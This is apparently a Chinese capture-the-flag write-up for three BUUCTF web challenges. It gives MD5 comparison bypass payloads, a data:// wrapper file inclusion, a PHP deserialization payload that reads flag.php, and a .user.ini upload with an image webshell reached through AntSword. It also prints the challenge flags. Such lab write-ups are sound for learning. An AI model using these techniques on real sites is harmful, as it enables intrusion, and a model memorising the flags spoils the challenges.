1.BUUCTF刷题-[BJDCTF2020]Easy MD5
本题wp
首先使用字符串"ffifdyop"来绕过hint。
在第二个页面的源码中给出了提示。
判断语句要求a!=b,但md5(a)==md5(b),可以用之前学过的MD5弱判断绕过。
构造payload:
?a=QNKCDZO&b=240610708
进入第三个页面。
这次是强相等判断,可以将post参数设为数组绕过。
param1[]=1¶m2[]=2
// flag{9f8cab11-074c-46ff-8314-0dfca9fb2865}
得到flag。
2.BUUCTF刷题-[ZJCTF 2019]NiZhuanSiWei
首先是代码分析。
get表单提交三个变量:text,file,passwor。然后通过两个判断语句。
第一个if判断的是$text所代表的文件是否为字符串“welcome to the zjctf”。所以应该想办法让text代表一个文件,并在文件中写入一个字符串。可以利用data:伪协议。
方法一:伪协议利用
构造语句:
text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
方法二:利用php://input伪协议在post表单传递
接下来发现直接包含useless.php时没有回显,那就用base64转码再返回。再将返回的字符进行解码,得到useless.php里的内容。
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
接下来构造password来获得flag。
<?php
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
$password = serialize($password);
echo $password;
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//flag{68bd96b7-3b71-48ae-9472-9c2c3f6ccc2c}
最后得到flag。
3.BUUCTF刷题-[SUCTF 2019]CheckIn
涉及到一个新的知识点:.user.ini
先构造一个文件,名为".user.ini",内容为:
GIF89a
auto_prepend_file=1.jpg
再构造一个名为1.jpg的图马。
将这两个文件依次上传。
这里提示了/uploads/24f893dad1820334811a860b5e226e83目录下有一个文件名为index.php,这很反常,应该是出题者留出的用来执行木马的文件。
我们直接用蚁剑连接"http://59aefc88-d0d9-4140-a820-274ffbc0813a.node4.buuoj.cn:81/uploads/24f893dad1820334811a860b5e226e83/index.php",就可以拿到flag了。
今天就到这,嗓子疼,太难受了